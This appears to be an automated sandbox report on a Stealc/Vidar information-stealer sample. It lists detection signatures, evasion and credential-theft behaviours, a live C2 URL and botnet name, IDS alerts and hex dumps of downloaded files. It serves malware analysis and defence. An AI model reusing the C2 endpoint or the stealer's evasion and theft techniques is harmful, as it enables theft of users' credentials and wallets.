Windows Analysis Report
3WffcqLN3q.exe

Overview

General Information

Sample name: 3WffcqLN3q.exe
renamed because original name is a hash value
Original sample name: 38e3faad153897813215e40452fe9e3f.exe
Analysis ID: 1542029
MD5: 38e3faad153897813215e40452fe9e3f
SHA1: b151204191839e8e62abdb3d660e81c2935ce221
SHA256: 2818498f5686279b9a8ed4e58a6e7106364c28048c218f4b31bc7c6e2f0ddb17
Tags: exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Sigma detected: Disable power options
Sigma detected: Stop EventLog
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Stealc
Yara detected Vidar stealer
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
C2 URLs / IPs found in malware configuration
Found direct / indirect Syscall (likely to bypass EDR)
Found evasive API chain (may stop execution after checking locale)
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Loading BitLocker PowerShell Module
Machine Learning detection for sample
Modifies power options to not sleep / hibernate
Modifies the hosts file
PE file contains section with special chars
Query firmware table information (likely to detect VMs)
Searches for specific processes (likely to inject)
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal Mail credentials (via file / registry access)
Uses powercfg.exe to modify the power settings
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

AV Detection
barindex
Found malware configuration
Source: 00000000.00000003.2069681714.0000000000BB0000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: StealC {"C2 url": "http://185.241.61.210/849647684a13b905.php", "Botnet": "LogsDiller"}
Source: 00000000.00000003.2069681714.0000000000BB0000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: Vidar {"C2 url": "http://185.241.61.210/849647684a13b905.php", "Botnet": "LogsDiller"}
Multi AV Scanner detection for dropped file
Source: C:\ProgramData\Google\Chrome\updater.exe ReversingLabs: Detection: 54%
Source: C:\ProgramData\HIJEGDBGDB.exe ReversingLabs: Detection: 54%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: 3WffcqLN3q.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA, 0_2_00418EA0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree, 0_2_00409B60
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA, 0_2_0040C820
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree, 0_2_00407240
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 0_2_00409AC0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C686C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer, 0_2_6C686C80
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7DA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util, 0_2_6C7DA9A0

Compliance
barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Unpacked PE file: 0.2.3WffcqLN3q.exe.400000.0.unpack
Uses 32bit PE files
Source: 3WffcqLN3q.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 185.98.131.200:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: Binary string: mozglue.pdbP source: 3WffcqLN3q.exe, 00000000.00000002.2634778914.000000006C6ED000.00000002.00000001.01000000.00000008.sdmp
Source: Binary string: nss3.pdb@ source: 3WffcqLN3q.exe, 00000000.00000002.2635083503.000000006C8AF000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: HIJEGDBGDB.exe, 00000005.00000002.2444448419.00007FF6B00A6000.00000040.00000001.01000000.00000009.sdmp, updater.exe, 0000002A.00000002.2464718352.00007FF6768A6000.00000040.00000001.01000000.0000000B.sdmp
Source: Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: HIJEGDBGDB.exe, 00000005.00000002.2444448419.00007FF6B00A6000.00000040.00000001.01000000.00000009.sdmp, updater.exe, 0000002A.00000002.2464718352.00007FF6768A6000.00000040.00000001.01000000.0000000B.sdmp
Source: Binary string: nss3.pdb source: 3WffcqLN3q.exe, 00000000.00000002.2635083503.000000006C8AF000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: mozglue.pdb source: 3WffcqLN3q.exe, 00000000.00000002.2634778914.000000006C6ED000.00000002.00000001.01000000.00000008.sdmp
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_0040E430
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00414910
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040BE70
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_004016D0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040DA80
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 0_2_00413EA0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040F6B0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_004138B0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 0_2_00414570
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_0040ED20
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040DE10
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49705 -> 185.241.61.210:80
Source: Network traffic Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49705 -> 185.241.61.210:80
Source: Network traffic Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.241.61.210:80 -> 192.168.2.5:49705
Source: Network traffic Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49705 -> 185.241.61.210:80
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.241.61.210:80 -> 192.168.2.5:49705
Source: Network traffic Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49705 -> 185.241.61.210:80
Source: Network traffic Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.5:49705 -> 185.241.61.210:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.241.61.210/849647684a13b905.php
Source: Malware configuration extractor URLs: http://185.241.61.210/849647684a13b905.php
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 25 Oct 2024 11:12:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 25 Oct 2024 11:12:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 25 Oct 2024 11:12:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 25 Oct 2024 11:12:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 